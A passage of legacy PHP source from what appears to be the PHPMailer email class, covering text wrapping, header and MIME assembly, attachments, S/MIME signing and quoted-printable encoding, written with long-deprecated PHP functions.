2123$formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2124}
2125
2126return $formatted;
2127}
2128
2129/**
2130* Wraps message for use with mailers that do not
2131* automatically perform wrapping and for quoted-printable.
2132* Original written by philippe.
2133* @access private
2134* @return string
2135*/
2136function WrapText($message, $length, $qp_mode = false) {
2137$soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2138// If utf-8 encoding is used, we will need to make sure we don't
2139// split multibyte characters when we wrap
2140$is_utf8 = (strtolower($this->CharSet) == "utf-8");
2141
2142$message = $this->FixEOL($message);
2143if (substr($message, -1) == $this->LE) {
2144$message = substr($message, 0, -1);
2145}
2146
2147$line = explode($this->LE, $message);
2148$message = '';
2149for ($i=0 ;$i < count($line); $i++) {
2150$line_part = explode(' ', $line[$i]);
2151$buf = '';
2152for ($e = 0; $e<count($line_part); $e++) {
2153$word = $line_part[$e];
2154if ($qp_mode and (strlen($word) > $length)) {
2155$space_left = $length - strlen($buf) - 1;
2156if ($e != 0) {
2157if ($space_left > 20) {
2158$len = $space_left;
2159if ($is_utf8) {
2160$len = $this->UTF8CharBoundary($word, $len);
2161} elseif (substr($word, $len - 1, 1) == "=") {
2162$len--;
2163} elseif (substr($word, $len - 2, 1) == "=") {
2164$len -= 2;
2165}
2166$part = substr($word, 0, $len);
2167$word = substr($word, $len);
2168$buf .= ' ' . $part;
2169$message .= $buf . sprintf("=%s", $this->LE);
2170} else {
2171$message .= $buf . $soft_break;
2172}
2173$buf = '';
2174}
2175while (strlen($word) > 0) {
2176$len = $length;
2177if ($is_utf8) {
2178$len = $this->UTF8CharBoundary($word, $len);
2179} elseif (substr($word, $len - 1, 1) == "=") {
2180$len--;
2181} elseif (substr($word, $len - 2, 1) == "=") {
2182$len -= 2;
2183}
2184$part = substr($word, 0, $len);
2185$word = substr($word, $len);
2186
2187if (strlen($word) > 0) {
2188$message .= $part . sprintf("=%s", $this->LE);
2189} else {
2190$buf = $part;
2191}
2192}
2193} else {
2194$buf_o = $buf;
2195$buf .= ($e == 0) ? $word : (' ' . $word);
2196
2197if (strlen($buf) > $length and $buf_o != '') {
2198$message .= $buf_o . $soft_break;
2199$buf = $word;
2200}
2201}
2202}
2203$message .= $buf . $this->LE;
2204}
2205
2206return $message;
2207}
2208
2209/**
2210* Finds last character boundary prior to maxLength in a utf-8
2211* quoted (printable) encoded string.
2212* Original written by Colin Brown.
2213* @access private
2214* @param string $encodedText utf-8 QP text
2215* @param int $maxLength find last character boundary prior to this length
2216* @return int
2217*/
2218function UTF8CharBoundary($encodedText, $maxLength) {
2219$foundSplitPos = false;
2220$lookBack = 3;
2221while (!$foundSplitPos) {
2222$lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2223$encodedCharPos = strpos($lastChunk, "=");
2224if ($encodedCharPos !== false) {
2225// Found start of encoded character byte within $lookBack block.
2226// Check the encoded byte value (the 2 chars after the '=')
2227$hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2228$dec = hexdec($hex);
2229if ($dec < 128) { // Single byte character.
2230// If the encoded char was found at pos 0, it will fit
2231// otherwise reduce maxLength to start of the encoded char
2232$maxLength = ($encodedCharPos == 0) ? $maxLength :
2233$maxLength - ($lookBack - $encodedCharPos);
2234$foundSplitPos = true;
2235} elseif ($dec >= 192) { // First byte of a multi byte character
2236// Reduce maxLength to split at start of character
2237$maxLength = $maxLength - ($lookBack - $encodedCharPos);
2238$foundSplitPos = true;
2239} elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2240$lookBack += 3;
2241}
2242} else {
2243// No encoded character found
2244$foundSplitPos = true;
2245}
2246}
2247return $maxLength;
2248}
2249
2250/**
2251* Set the body wrapping.
2252* @access private
2253* @return void
2254*/
2255function SetWordWrap() {
2256if($this->WordWrap < 1) {
2257return;
2258}
2259
2260switch($this->message_type) {
2261case 'alt':
2262/* fall through */
2263case 'alt_attachments':
2264$this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2265break;
2266default:
2267$this->Body = $this->WrapText($this->Body, $this->WordWrap);
2268break;
2269}
2270}
2271
2272/**
2273* Assembles message header.
2274* @access private
2275* @return string
2276*/
2277function CreateHeader() {
2278$result = '';
2279
2280/* Set the boundaries */
2281$uniq_id = md5(uniqid(time()));
2282$this->boundary[1] = 'b1_' . $uniq_id;
2283$this->boundary[2] = 'b2_' . $uniq_id;
2284
2285$result .= $this->HeaderLine('Date', $this->RFCDate());
2286if($this->Sender == '') {
2287$result .= $this->HeaderLine('Return-Path', trim($this->From));
2288} else {
2289$result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2290}
2291
2292/* To be created automatically by mail() */
2293if($this->Mailer != 'mail') {
2294if(count($this->to) > 0) {
2295$result .= $this->AddrAppend('To', $this->to);
2296} elseif (count($this->cc) == 0) {
2297$result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2298}
2299if(count($this->cc) > 0) {
2300$result .= $this->AddrAppend('Cc', $this->cc);
2301}
2302}
2303
2304$from = array();
2305$from[0][0] = trim($this->From);
2306$from[0][1] = $this->FromName;
2307$result .= $this->AddrAppend('From', $from);
2308
2309/* sendmail and mail() extract Cc from the header before sending */
2310if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2311$result .= $this->AddrAppend('Cc', $this->cc);
2312}
2313
2314/* sendmail and mail() extract Bcc from the header before sending */
2315if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2316$result .= $this->AddrAppend('Bcc', $this->bcc);
2317}
2318if($replyto != "")
2319{
2320if(count($this->ReplyTo) > 0) {
2321$result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2322}
2323}
2324/* mail() sets the subject itself */
2325if($this->Mailer != 'mail') {
2326$result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2327}
2328
2329if($this->MessageID != '') {
2330$result .= $this->HeaderLine('Message-ID',$this->MessageID);
2331} else {
2332$result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2333}
2334$result .= $this->HeaderLine('X-Priority', $this->Priority);
2335if($this->ConfirmReadingTo != '') {
2336$result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2337}
2338
2339// Add custom headers
2340for($index = 0; $index < count($this->CustomHeader); $index++) {
2341$result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2342}
2343if (!$this->sign_key_file) {
2344$result .= $this->HeaderLine('MIME-Version', '1.0');
2345$result .= $this->GetMailMIME();
2346}
2347
2348return $result;
2349}
2350
2351/**
2352* Returns the message MIME.
2353* @access private
2354* @return string
2355*/
2356function GetMailMIME() {
2357$result = '';
2358switch($this->message_type) {
2359case 'plain':
2360$result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2361$result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2362break;
2363case 'attachments':
2364/* fall through */
2365case 'alt_attachments':
2366if($this->InlineImageExists()){
2367$result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2368} else {
2369$result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2370$result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2371}
2372break;
2373case 'alt':
2374$result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2375$result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2376break;
2377}
2378
2379if($this->Mailer != 'mail') {
2380$result .= $this->LE.$this->LE;
2381}
2382
2383return $result;
2384}
2385
2386/**
2387* Assembles the message body. Returns an empty string on failure.
2388* @access private
2389* @return string
2390*/
2391function CreateBody() {
2392$result = '';
2393if ($this->sign_key_file) {
2394$result .= $this->GetMailMIME();
2395}
2396
2397$this->SetWordWrap();
2398
2399switch($this->message_type) {
2400case 'alt':
2401$result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2402$result .= $this->EncodeString($this->AltBody, $this->Encoding);
2403$result .= $this->LE.$this->LE;
2404$result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2405$result .= $this->EncodeString($this->Body, $this->Encoding);
2406$result .= $this->LE.$this->LE;
2407$result .= $this->EndBoundary($this->boundary[1]);
2408break;
2409case 'plain':
2410$result .= $this->EncodeString($this->Body, $this->Encoding);
2411break;
2412case 'attachments':
2413$result .= $this->GetBoundary($this->boundary[1], '', '', '');
2414$result .= $this->EncodeString($this->Body, $this->Encoding);
2415$result .= $this->LE;
2416$result .= $this->AttachAll();
2417break;
2418case 'alt_attachments':
2419$result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2420$result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2421$result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2422$result .= $this->EncodeString($this->AltBody, $this->Encoding);
2423$result .= $this->LE.$this->LE;
2424$result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2425$result .= $this->EncodeString($this->Body, $this->Encoding);
2426$result .= $this->LE.$this->LE;
2427$result .= $this->EndBoundary($this->boundary[2]);
2428$result .= $this->AttachAll();
2429break;
2430}
2431
2432if($this->IsError()) {
2433$result = '';
2434} else if ($this->sign_key_file) {
2435$file = tempnam("", "mail");
2436$fp = fopen($file, "w");
2437fwrite($fp, $result);
2438fclose($fp);
2439$signed = tempnam("", "signed");
2440
2441if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2442$fp = fopen($signed, "r");
2443$result = fread($fp, filesize($this->sign_key_file));
2444fclose($fp);
2445} else {
2446$this->SetError($this->Lang("signing").openssl_error_string());
2447$result = '';
2448}
2449
2450unlink($file);
2451unlink($signed);
2452}
2453
2454return $result;
2455}
2456
2457/**
2458* Returns the start of a message boundary.
2459* @access private
2460*/
2461function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2462$result = '';
2463if($charSet == '') {
2464$charSet = $this->CharSet;
2465}
2466if($contentType == '') {
2467$contentType = $this->ContentType;
2468}
2469if($encoding == '') {
2470$encoding = $this->Encoding;
2471}
2472$result .= $this->TextLine('--' . $boundary);
2473$result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2474$result .= $this->LE;
2475$result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2476$result .= $this->LE;
2477
2478return $result;
2479}
2480
2481/**
2482* Returns the end of a message boundary.
2483* @access private
2484*/
2485function EndBoundary($boundary) {
2486return $this->LE . '--' . $boundary . '--' . $this->LE;
2487}
2488
2489/**
2490* Sets the message type.
2491* @access private
2492* @return void
2493*/
2494function SetMessageType() {
2495if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2496$this->message_type = 'plain';
2497} else {
2498if(count($this->attachment) > 0) {
2499$this->message_type = 'attachments';
2500}
2501if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2502$this->message_type = 'alt';
2503}
2504if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2505$this->message_type = 'alt_attachments';
2506}
2507}
2508}
2509
2510/* Returns a formatted header line.
2511* @access private
2512* @return string
2513*/
2514function HeaderLine($name, $value) {
2515return $name . ': ' . $value . $this->LE;
2516}
2517
2518/**
2519* Returns a formatted mail line.
2520* @access private
2521* @return string
2522*/
2523function TextLine($value) {
2524return $value . $this->LE;
2525}
2526
2527/////////////////////////////////////////////////
2528// CLASS METHODS, ATTACHMENTS
2529/////////////////////////////////////////////////
2530
2531/**
2532* Adds an attachment from a path on the filesystem.
2533* Returns false if the file could not be found
2534* or accessed.
2535* @param string $path Path to the attachment.
2536* @param string $name Overrides the attachment name.
2537* @param string $encoding File encoding (see $Encoding).
2538* @param string $type File extension (MIME) type.
2539* @return bool
2540*/
2541function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2542if(!@is_file($path)) {
2543$this->SetError($this->Lang('file_access') . $path);
2544return false;
2545}
2546
2547$filename = basename($path);
2548if($name == '') {
2549$name = $filename;
2550}
2551
2552$cur = count($this->attachment);
2553$this->attachment[$cur][0] = $path;
2554$this->attachment[$cur][1] = $filename;
2555$this->attachment[$cur][2] = $name;
2556$this->attachment[$cur][3] = $encoding;
2557$this->attachment[$cur][4] = $type;
2558$this->attachment[$cur][5] = false; // isStringAttachment
2559$this->attachment[$cur][6] = 'attachment';
2560$this->attachment[$cur][7] = 0;
2561
2562return true;
2563}
2564
2565/**
2566* Attaches all fs, string, and binary attachments to the message.
2567* Returns an empty string on failure.
2568* @access private
2569* @return string
2570*/
2571function AttachAll() {
2572/* Return text of body */
2573$mime = array();
2574
2575/* Add all attachments */
2576for($i = 0; $i < count($this->attachment); $i++) {
2577/* Check for string attachment */
2578$bString = $this->attachment[$i][5];
2579if ($bString) {
2580$string = $this->attachment[$i][0];
2581} else {
2582$path = $this->attachment[$i][0];
2583}
2584
2585$filename = $this->attachment[$i][1];
2586$name = $this->attachment[$i][2];
2587$encoding = $this->attachment[$i][3];
2588$type = $this->attachment[$i][4];
2589$disposition = $this->attachment[$i][6];
2590$cid = $this->attachment[$i][7];
2591
2592$mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2593$mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2594$mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2595
2596if($disposition == 'inline') {
2597$mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2598}
2599
2600$mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2601
2602/* Encode as string attachment */
2603if($bString) {
2604$mime[] = $this->EncodeString($string, $encoding);
2605if($this->IsError()) {
2606return '';
2607}
2608$mime[] = $this->LE.$this->LE;
2609} else {
2610$mime[] = $this->EncodeFile($path, $encoding);
2611if($this->IsError()) {
2612return '';
2613}
2614$mime[] = $this->LE.$this->LE;
2615}
2616}
2617
2618$mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2619
2620return join('', $mime);
2621}
2622
2623/**
2624* Encodes attachment in requested format. Returns an
2625* empty string on failure.
2626* @access private
2627* @return string
2628*/
2629function EncodeFile ($path, $encoding = 'base64') {
2630if(!@$fd = fopen($path, 'rb')) {
2631$this->SetError($this->Lang('file_open') . $path);
2632return '';
2633}
2634$magic_quotes = get_magic_quotes_runtime();
2635set_magic_quotes_runtime(0);
2636$file_buffer = fread($fd, filesize($path));
2637$file_buffer = $this->EncodeString($file_buffer, $encoding);
2638fclose($fd);
2639set_magic_quotes_runtime($magic_quotes);
2640
2641return $file_buffer;
2642}
2643
2644/**
2645* Encodes string to requested format. Returns an
2646* empty string on failure.
2647* @access private
2648* @return string
2649*/
2650function EncodeString ($str, $encoding = 'base64') {
2651$encoded = '';
2652switch(strtolower($encoding)) {
2653case 'base64':
2654/* chunk_split is found in PHP >= 3.0.6 */
2655$encoded = chunk_split(base64_encode($str), 76, $this->LE);
2656break;
2657case '7bit':
2658case '8bit':
2659$encoded = $this->FixEOL($str);
2660if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2661$encoded .= $this->LE;
2662break;
2663case 'binary':
2664$encoded = $str;
2665break;
2666case 'quoted-printable':
2667$encoded = $this->EncodeQP($str);
2668break;
2669default:
2670$this->SetError($this->Lang('encoding') . $encoding);
2671break;
2672}
2673return $encoded;
2674}
2675
2676/**
2677* Encode a header string to best of Q, B, quoted or none.
2678* @access private
2679* @return string
2680*/
2681function EncodeHeader ($str, $position = 'text') {
2682$x = 0;
2683
2684switch (strtolower($position)) {
2685case 'phrase':
2686if (!preg_match('/[\200-\377]/', $str)) {
2687/* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2688$encoded = addcslashes($str, "\0..\37\177\\\"");
2689if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2690return ($encoded);
2691} else {
2692return ("\"$encoded\"");
2693}
2694}
2695$x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2696break;
2697case 'comment':
2698$x = preg_match_all('/[()"]/', $str, $matches);
2699/* Fall-through */
2700case 'text':
2701default:
2702$x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2703break;
2704}
2705
2706if ($x == 0) {
2707return ($str);
2708}
2709
2710$maxlen = 75 - 7 - strlen($this->CharSet);
2711/* Try to select the encoding which should produce the shortest output */
2712if (strlen($str)/3 < $x) {
2713$encoding = 'B';
2714if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2715// Use a custom function which correctly encodes and wraps long
2716// multibyte strings without breaking lines within a character
2717$encoded = $this->Base64EncodeWrapMB($str);
2718} else {
2719$encoded = base64_encode($str);
2720$maxlen -= $maxlen % 4;
2721$encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2722}
2723} else {
2724$encoding = 'Q';
2725$encoded = $this->EncodeQ($str, $position);
2726$encoded = $this->WrapText($encoded, $maxlen, true);
2727$encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2728}
2729
2730$encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2731$encoded = trim(str_replace("\n", $this->LE, $encoded));
2732
2733return $encoded;
2734}
2735
2736/**
2737* Checks if a string contains multibyte characters.
2738* @access private
2739* @param string $str multi-byte text to wrap encode
2740* @return bool
2741*/
2742function HasMultiBytes($str) {
2743if (function_exists('mb_strlen')) {
2744return (strlen($str) > mb_strlen($str, $this->CharSet));
2745} else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2746return False;
2747}
2748}
2749
2750/**
2751* Correctly encodes and wraps long multibyte strings for mail headers
2752* without breaking lines within a character.
2753* Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2754* @access private
2755* @param string $str multi-byte text to wrap encode
2756* @return string
2757*/
2758function Base64EncodeWrapMB($str) {
2759$start = "=?".$this->CharSet."?B?";
2760$end = "?=";
2761$encoded = "";
2762
2763$mb_length = mb_strlen($str, $this->CharSet);
2764// Each line must have length <= 75, including $start and $end
2765$length = 75 - strlen($start) - strlen($end);
2766// Average multi-byte ratio
2767$ratio = $mb_length / strlen($str);
2768// Base64 has a 4:3 ratio
2769$offset = $avgLength = floor($length * $ratio * .75);
2770
2771for ($i = 0; $i < $mb_length; $i += $offset) {
2772$lookBack = 0;
2773
2774do {
2775$offset = $avgLength - $lookBack;
2776$chunk = mb_substr($str, $i, $offset, $this->CharSet);
2777$chunk = base64_encode($chunk);
2778$lookBack++;
2779}
2780while (strlen($chunk) > $length);
2781
2782$encoded .= $chunk . $this->LE;
2783}
2784
2785// Chomp the last linefeed
2786$encoded = substr($encoded, 0, -strlen($this->LE));
2787return $encoded;
2788}
2789
2790/**
2791* Encode string to quoted-printable.
2792* @access private
2793* @return string
2794*/
2795function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2796$hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2797$lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2798$eol = "\r\n";
2799$escape = '=';
2800$output = '';
2801while( list(, $line) = each($lines) ) {
2802$linlen = strlen($line);
2803$newline = '';
2804for($i = 0; $i < $linlen; $i++) {
2805$c = substr( $line, $i, 1 );
2806$dec = ord( $c );
2807if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2808$c = '=2E';
2809}
2810if ( $dec == 32 ) {
2811if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2812$c = '=20';
2813} else if ( $space_conv ) {
2814$c = '=20';
2815}
2816} elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2817$h2 = floor($dec/16);
2818$h1 = floor($dec%16);
2819$c = $escape.$hex[$h2].$hex[$h1];
2820}
2821if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2822$output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2823$newline = '';
2824// check if newline first character will be point or not
2825if ( $dec == 46 ) {
2826$c = '=2E';
2827}
2828}
2829$newline .= $c;
2830} // end of for
2831$output .= $newline.$eol;
2832} // end of while
2833return trim($output);
2834}
2835
2836/**
2837* Encode string to q encoding.
2838* @access private
2839* @return string
2840*/
2841function EncodeQ ($str, $position = 'text') {
2842/* There should not be any EOL in the string */
2843$encoded = preg_replace("[\r\n]", '', $str);
2844
2845switch (strtolower($position)) {
2846case 'phrase':
2847$encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2848break;
2849case 'comment':
2850$encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2851case 'text':
2852default:
2853/* Replace every high ascii, control =, ? and _ characters */
2854$encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2855"'='.sprintf('%02X', ord('\\1'))", $encoded);
2856break;
2857}
2858
2859/* Replace every spaces to _ (more readable than =20) */
2860$encoded = str_replace(' ', '_', $encoded);
2861
2862return $encoded;
2863}
2864
2865/**
2866* Adds a string or binary attachment (non-filesystem) to the list.
2867* This method can be used to attach ascii or binary data,
2868* such as a BLOB record from a database.
2869* @param string $string String attachment data.
2870* @param string $filename Name of the attachment.
2871* @param string $encoding File encoding (see $Encoding).
2872* @param string $type File extension (MIME) type.
2873* @return void
2874*/
2875function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2876/* Append to $attachment array */
2877$cur = count($this->attachment);
2878$this->attachment[$cur][0] = $string;
2879$this->attachment[$cur][1] = $filename;
2880$this->attachment[$cur][2] = $filename;
2881$this->attachment[$cur][3] = $encoding;
2882$this->attachment[$cur][4] = $type;
2883$this->attachment[$cur][5] = true; // isString
2884$this->attachment[$cur][6] = 'attachment';
2885$this->attachment[$cur][7] = 0;
2886}
2887
2888/**
2889* Adds an embedded attachment. This can include images, sounds, and
2890* just about any other document. Make sure to set the $type to an
2891* image type. For JPEG images use "image/jpeg" and for GIF images
2892* use "image/gif".
2893* @param string $path Path to the attachment.
2894* @param string $cid Content ID of the attachment. Use this to identify
2895* the Id for accessing the image in an HTML form.
2896* @param string $name Overrides the attachment name.
2897* @param string $encoding File encoding (see $Encoding).
2898* @param string $type File extension (MIME) type.
2899* @return bool
2900*/
2901function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2902
2903if(!@is_file($path)) {
2904$this->SetError($this->Lang('file_access') . $path);
2905return false;
2906}
2907
2908$filename = basename($path);
2909if($name == '') {
2910$name = $filename;
2911}
2912
2913/* Append to $attachment array */
2914$cur = count($this->attachment);
2915$this->attachment[$cur][0] = $path;
2916$this->attachment[$cur][1] = $filename;
2917$this->attachment[$cur][2] = $name;
2918$this->attachment[$cur][3] = $encoding;
2919$this->attachment[$cur][4] = $type;
2920$this->attachment[$cur][5] = false;
2921$this->attachment[$cur][6] = 'inline';
2922$this->attachment[$cur][7] = $cid;
2923
2924return true;
2925}
2926
2927/**
2928* Returns true if an inline attachment is present.
2929* @access private
2930* @return bool
2931*/
2932function InlineImageExists() {
2933$result = false;
2934for($i = 0; $i < count($this->attachment); $i++) {
2935if($this->attachment[$i][6] == 'inline') {
2936$result = true;
2937break;
2938}
2939}
2940
2941return $result;
2942}
2943
2944/////////////////////////////////////////////////
2945// CLASS METHODS, MESSAGE RESET
2946/////////////////////////////////////////////////
2947
2948/**
2949* Clears all recipients assigned in the TO array. Returns void.
2950* @return void
2951*/
2952function ClearAddresses() {
2953$this->to = array();
2954}
2955
2956/**
2957* Clears all recipients assigned in the CC array. Returns void.
2958* @return void
2959*/
2960function ClearCCs() {
2961$this->cc = array();
2962}
2963
2964/**
2965* Clears all recipients assigned in the BCC array. Returns void.
2966* @return void
2967*/
2968function ClearBCCs() {
2969$this->bcc = array();
2970}
2971
2972/**
2973* Clears all recipients assigned in the ReplyTo array. Returns void.
2974* @return void
2975*/
2976function ClearReplyTos() {
2977$this->ReplyTo = array();
2978}
2979
2980/**
2981* Clears all recipients assigned in the TO, CC and BCC
2982* array. Returns void.
2983* @return void
2984*/
2985function ClearAllRecipients() {
2986$this->to = array();
2987$this->cc = array();
2988$this->bcc = array();
2989}
2990
2991/**
2992* Clears all previously set filesystem, string, and binary
2993* attachments. Returns void.
2994* @return void
2995*/
2996function ClearAttachments() {
2997$this->attachment = array();
2998}
2999
3000/**
3001* Clears all custom headers. Returns void.
3002* @return void
3003*/
3004function ClearCustomHeaders() {
3005$this->CustomHeader = array();
3006}
3007
3008/////////////////////////////////////////////////
3009// CLASS METHODS, MISCELLANEOUS
3010/////////////////////////////////////////////////
3011
3012/**
3013* Adds the error message to the error container.
3014* Returns void.
3015* @access private
3016* @return void
3017*/
3018function SetError($msg) {
3019$this->error_count++;
3020$this->ErrorInfo = $msg;
3021}
3022
3023/**
3024* Returns the proper RFC 822 formatted date.
3025* @access private
3026* @return string
3027*/
3028function RFCDate() {
3029$tz = date('Z');
3030$tzs = ($tz < 0) ? '-' : '+';
3031$tz = abs($tz);
3032$tz = (int)($tz/3600)*100 + ($tz%3600)/60;
3033$result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
3034
3035return $result;
3036}
3037
3038/**
3039* Returns the appropriate server variable. Should work with both
3040* PHP 4.1.0+ as well as older versions. Returns an empty string
3041* if nothing is found.
3042* @access private
3043* @return mixed
3044*/
3045function ServerVar($varName) {
3046global $HTTP_SERVER_VARS;
3047global $HTTP_ENV_VARS;
3048
3049if(!isset($_SERVER)) {
3050$_SERVER = $HTTP_SERVER_VARS;
3051if(!isset($_SERVER['REMOTE_ADDR'])) {
3052$_SERVER = $HTTP_ENV_VARS; // must be Apache
3053}
3054}
3055
3056if(isset($_SERVER[$varName])) {
3057return $_SERVER[$varName];
3058} else {
3059return '';
3060}
3061}
3062
3063/**
3064* Returns the server hostname or 'localhost.localdomain' if unknown.
3065* @access private
3066* @return string
3067*/
3068function ServerHostname() {
3069if ($this->Hostname != '') {
3070$result = $this->Hostname;
3071} elseif ($this->ServerVar('SERVER_NAME') != '') {
3072$result = $this->ServerVar('SERVER_NAME');
3073} else {
3074$result = 'localhost.localdomain';
3075}
3076
3077return $result;
3078}
3079
3080/**
3081* Returns a message in the appropriate language.
3082* @access private
3083* @return string
3084*/
3085function Lang($key) {
3086if(count($this->language) < 1) {
3087$this->SetLanguage('en'); // set the default language
3088}
3089
3090if(isset($this->language[$key])) {
3091return $this->language[$key];
3092} else {
3093return 'Language string failed to load: ' . $key;
3094}
3095}
3096
3097/**
3098* Returns true if an error occurred.
3099* @return bool
3100*/
3101function IsError() {
3102return ($this->error_count > 0);
3103}
3104
3105/**
3106* Changes every end of line from CR or LF to CRLF.
3107* @access private
3108* @return string
3109*/
3110function FixEOL($str) {
3111$str = str_replace("\r\n", "\n", $str);
3112$str = str_replace("\r", "\n", $str);
3113$str = str_replace("\n", $this->LE, $str);
3114return $str;
3115}
3116
3117/**
3118* Adds a custom header.
3119* @return void
3120*/
3121function AddCustomHeader($custom_header) {
3122$this->CustomHeader[] = explode(':', $custom_header, 2);
3123}
3124
3125/**
3126* Evaluates the message and returns modifications for inline images and backgrounds
3127* @access public
3128* @return $message
3129*/
3130function MsgHTML($message,$basedir='') {
3131preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3132if(isset($images[2])) {
3133foreach($images[2] as $i => $url) {
3134// do not change urls for absolute images (thanks to corvuscorax)
3135if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3136$filename = basename($url);
3137$directory = dirname($url);
3138($directory == '.')?$directory='':'';
3139$cid = 'cid:' . md5($filename);
3140$fileParts = split("\.", $filename);
3141$ext = $fileParts[1];
3142$mimeType = $this->_mime_types($ext);
3143if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3144if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3145$this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3146if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3147$message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3148}
3149}
3150}
3151}
3152$this->IsHTML(true);
3153$this->Body = $message;
3154$textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3155if ( !empty($textMsg) && empty($this->AltBody) ) {
3156$this->AltBody = $textMsg;
3157}
3158if ( empty($this->AltBody) ) {
3159$this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3160}
3161}
3162
3163/**
3164* Gets the mime type of the embedded or inline image
3165* @access private
3166* @return mime type of ext
3167*/
3168function _mime_types($ext = '') {
3169$mimes = array(
3170'hqx' => 'application/mac-binhex40',
3171'cpt' => 'application/mac-compactpro',
3172'doc' => 'application/msword',
3173'bin' => 'application/macbinary',
3174'dms' => 'application/octet-stream',
3175'lha' => 'application/octet-stream',
3176'lzh' => 'application/octet-stream',
3177'exe' => 'application/octet-stream',
3178'class' => 'application/octet-stream',
